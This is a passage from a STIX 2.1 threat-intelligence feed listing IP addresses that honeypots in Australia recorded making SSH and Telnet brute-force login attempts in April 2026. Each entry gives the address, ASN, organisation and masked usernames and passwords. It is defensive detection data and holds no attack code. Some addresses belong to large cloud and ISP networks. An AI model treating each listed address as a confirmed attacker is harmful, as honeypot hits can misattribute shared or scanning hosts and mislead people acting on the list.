      "id": "indicator--a8d113d9-18b2-437a-93e6-491a172384af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T20:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '180.93.75.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T20:15:04.000Z",
      "valid_until": "2026-05-17T20:15:02.000Z"
    },
    {
      "created": "2026-04-15T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): r**t, t***e. Passwords observed (masked): *, 1*******z, i*************************y.",
      "id": "indicator--3208e47f-d1a3-4067-b32d-6d5fd0dcfe30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '120.48.147.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T21:15:14.000Z",
      "valid_until": "2026-05-17T21:15:08.000Z"
    },
    {
      "created": "2026-04-15T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 49870. Organisation(s): Alsycon B.V.. Usernames observed (masked): A**********, G*******************************1, U********************************1. Passwords observed (masked): A****************************e, C********************e, H**********************3.",
      "id": "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '194.50.16.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T21:15:14.000Z",
      "valid_until": "2026-05-17T21:15:08.000Z"
    },
    {
      "created": "2026-04-15T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--448f18ab-3710-4136-ba1c-3c353cfb0c7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.135']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T21:15:14.000Z",
      "valid_until": "2026-05-17T21:15:08.000Z"
    },
    {
      "created": "2026-04-15T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): r**t, 3**********4, ***, c****v, f****e. Passwords observed (masked): *, 1*******z, 3***********4, 3**********4, A****!.",
      "id": "indicator--3f44b841-10af-4b9f-a8b2-1d6db4ff2676",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.141.47.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T21:15:14.000Z",
      "valid_until": "2026-05-17T21:15:08.000Z"
    },
    {
      "created": "2026-04-15T21:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 209373. Organisation(s): Swissnet LLC.",
      "id": "indicator--fd8e673e-3364-41c0-aac1-2f6d859c23f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.56.209.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T21:15:14.000Z",
      "valid_until": "2026-05-17T21:15:08.000Z"
    },
    {
      "created": "2026-04-15T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 336. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 3132. Organisation(s): Red Cientifica Peruana. Usernames observed (masked): r**t, 3**********4, m***t, s***m, t***e. Passwords observed (masked): 3***********4, 3**********4, *, 1********t, S******!.",
      "id": "indicator--c5b6056d-7667-4cc8-9fe2-b8e926273d38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '38.250.161.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T21:15:14.000Z",
      "valid_until": "2026-05-17T21:15:08.000Z"
    },
    {
      "created": "2026-04-15T21:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc. Usernames observed (masked): r**t. Passwords observed (masked): 1******7.",
      "id": "indicator--92dbc44b-2813-4fd0-8daf-dc0563002a78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T21:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '67.52.95.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T21:15:14.000Z",
      "valid_until": "2026-05-17T21:15:08.000Z"
    },
    {
      "created": "2026-04-15T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--9d5762a8-6e77-4a30-bf44-b21eeec3661c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.242.155.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T22:15:04.000Z",
      "valid_until": "2026-05-17T22:15:02.000Z"
    },
    {
      "created": "2026-04-15T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 579. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 208137. Organisation(s): Feo Prest SRL. Usernames observed (masked): r**t. Passwords observed (masked): B*************g, B**************#, B***************1, B*****************3, B**************$.",
      "id": "indicator--a6a07ac4-e504-46f9-a91c-c44044e18ad6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.209.159.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T22:15:04.000Z",
      "valid_until": "2026-05-17T22:15:02.000Z"
    },
    {
      "created": "2026-04-15T22:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc.",
      "id": "indicator--5ae531f5-a545-49dc-9a8a-34e80893a3dd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '76.94.234.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T22:15:04.000Z",
      "valid_until": "2026-05-17T22:15:02.000Z"
    },
    {
      "created": "2026-04-15T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 209605. Organisation(s): UAB Host Baltic. Usernames observed (masked): a***n. Passwords observed (masked): p******d.",
      "id": "indicator--29f9c37d-491d-4908-8d7c-adce9bdbe21a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.224.92.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T22:15:04.000Z",
      "valid_until": "2026-05-17T22:15:02.000Z"
    },
    {
      "created": "2026-04-15T22:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--578818e4-9118-4eda-bfae-b07fbabbf3c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T22:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T22:15:04.000Z",
      "valid_until": "2026-05-17T22:15:02.000Z"
    },
    {
      "created": "2026-04-15T23:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--7ab9bd60-c0b2-4b3b-8111-9b6086483072",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-15T23:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-15T23:15:05.000Z",
      "valid_until": "2026-05-17T23:15:02.000Z"
    },
    {
      "created": "2026-04-16T00:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 177. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 215117. Organisation(s): HosterDaddy Private Limited. Usernames observed (masked): r**t, 3**********4, **, b**g, p******s. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1******x, @*******6.",
      "id": "indicator--eb54033b-4976-40d4-bd09-408fcf797f13",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '130.250.191.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T00:15:04.000Z",
      "valid_until": "2026-05-18T00:15:02.000Z"
    },
    {
      "created": "2026-04-16T00:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 319. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 28548. Organisation(s): Cablevision, S.A. de C.V.. Usernames observed (masked): r**t, 3**********4, **, ***, ***. Passwords observed (masked): 3***********4, 3**********4, 1****6, 1****r, 1******x.",
      "id": "indicator--cb52912a-9610-4c11-9604-248da83a4e4c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '200.77.172.159']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T00:15:04.000Z",
      "valid_until": "2026-05-18T00:15:02.000Z"
    },
    {
      "created": "2026-04-16T00:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 140726. Organisation(s): UNICOM AnHui province network. Usernames observed (masked): s***m. Passwords observed (masked): p******d.",
      "id": "indicator--c6e4bce6-51bb-4a63-8a78-f4a3cd6644b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.205.122.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T00:15:04.000Z",
      "valid_until": "2026-05-18T00:15:02.000Z"
    },
    {
      "created": "2026-04-16T00:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc..",
      "id": "indicator--17913fd5-cc88-417c-9511-6e17c46af9ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T00:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.144.100.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T00:15:04.000Z",
      "valid_until": "2026-05-18T00:15:02.000Z"
    },
    {
      "created": "2026-04-16T01:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--4a7db974-0f20-4676-931f-807c83602a0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.168.33.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T01:15:05.000Z",
      "valid_until": "2026-05-18T01:15:02.000Z"
    },
    {
      "created": "2026-04-16T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): s***m. Passwords observed (masked): p******d.",
      "id": "indicator--d41b4503-1796-440c-bc90-c09c25e2cb7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.118.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T01:15:05.000Z",
      "valid_until": "2026-05-18T01:15:02.000Z"
    },
    {
      "created": "2026-04-16T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--f5a86825-915b-4760-b8fc-56664080e540",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '3.84.29.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T01:15:05.000Z",
      "valid_until": "2026-05-18T01:15:02.000Z"
    },
    {
      "created": "2026-04-16T01:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 273. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 46475. Organisation(s): Limestone Networks, Inc.. Usernames observed (masked): r**t, s***m, 3**********4, a**x, s*****x. Passwords observed (masked): 3***********4, 3**********4, t*****3, 1****3, 1******8.",
      "id": "indicator--e6a26b27-97ea-47f2-952a-b4647ecdbbc2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T01:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '86.110.51.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T01:15:05.000Z",
      "valid_until": "2026-05-18T01:15:02.000Z"
    },
    {
      "created": "2026-04-16T02:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SC. ASN(s): 49870. Organisation(s): Alsycon B.V..",
      "id": "indicator--ad1af1cd-644a-44c8-a053-e6098af6b5bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T02:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T02:15:05.000Z",
      "valid_until": "2026-05-18T02:15:02.000Z"
    },
    {
      "created": "2026-04-16T02:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 3132. Organisation(s): Red Cientifica Peruana.",
      "id": "indicator--079bc158-4bdd-4072-a887-b1d52e7da5a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T02:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.132.51.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T02:15:05.000Z",
      "valid_until": "2026-05-18T02:15:02.000Z"
    },
    {
      "created": "2026-04-16T02:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11351. Organisation(s): Charter Communications Inc.",
      "id": "indicator--3feab45a-ae5c-42cc-909d-e11ad4129a7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T02:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '98.11.10.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T02:15:05.000Z",
      "valid_until": "2026-05-18T02:15:02.000Z"
    },
    {
      "created": "2026-04-16T03:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC. Usernames observed (masked): A*******************p, G************1, U*************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--a66b6dbb-7a7f-4ea5-babe-ea42e39ed2ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T03:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '184.105.247.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:15:05.000Z",
      "valid_until": "2026-05-18T03:15:02.000Z"
    },
    {
      "created": "2026-04-16T03:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--0e02c810-f945-4b0c-a963-9e6970487d34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T03:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.79.181.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T03:15:05.000Z",
      "valid_until": "2026-05-18T03:15:02.000Z"
    },
    {
      "created": "2026-04-16T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd..",
      "id": "indicator--57f8f3fe-0d1d-448c-a806-db82d076db25",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.13.46.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:15:05.000Z",
      "valid_until": "2026-05-18T04:15:02.000Z"
    },
    {
      "created": "2026-04-16T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--9601a27c-8e36-465b-ba4f-868cfb93d960",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '107.175.49.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:15:05.000Z",
      "valid_until": "2026-05-18T04:15:02.000Z"
    },
    {
      "created": "2026-04-16T04:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--18fd65d3-4ef0-4bcc-ad42-aecc3fa8ef74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T04:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.107.228.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T04:15:05.000Z",
      "valid_until": "2026-05-18T04:15:02.000Z"
    },
    {
      "created": "2026-04-16T05:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 164. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--692d2be4-d676-49cf-924f-c59dbdb46768",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T05:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.224.16.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:15:22.000Z",
      "valid_until": "2026-05-18T05:15:03.000Z"
    },
    {
      "created": "2026-04-16T05:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--2e5eb555-0146-4ce8-8c03-36d4d2b1bbb9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T05:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:15:22.000Z",
      "valid_until": "2026-05-18T05:15:03.000Z"
    },
    {
      "created": "2026-04-16T05:15:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 12322. Organisation(s): Free SAS. Usernames observed (masked): r**t. Passwords observed (masked): s****3.",
      "id": "indicator--090dee18-e1ec-4d7e-a513-0b8bff423821",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T05:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '82.67.201.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:15:22.000Z",
      "valid_until": "2026-05-18T05:15:03.000Z"
    },
    {
      "created": "2026-04-16T05:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5089. Organisation(s): Virgin Media.",
      "id": "indicator--12a79d25-0a3d-439d-b632-46c161b7575f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T05:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.175.91.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:15:22.000Z",
      "valid_until": "2026-05-18T05:15:03.000Z"
    },
    {
      "created": "2026-04-16T05:15:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--5b3d5bd3-360b-4e4c-a179-5a0fa9969a34",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T05:15:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '94.243.9.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T05:15:22.000Z",
      "valid_until": "2026-05-18T05:15:03.000Z"
    },
    {
      "created": "2026-04-16T06:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--7508e95f-f80a-4d10-8f23-c31a2a16eecd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-16T06:15:03.000Z",
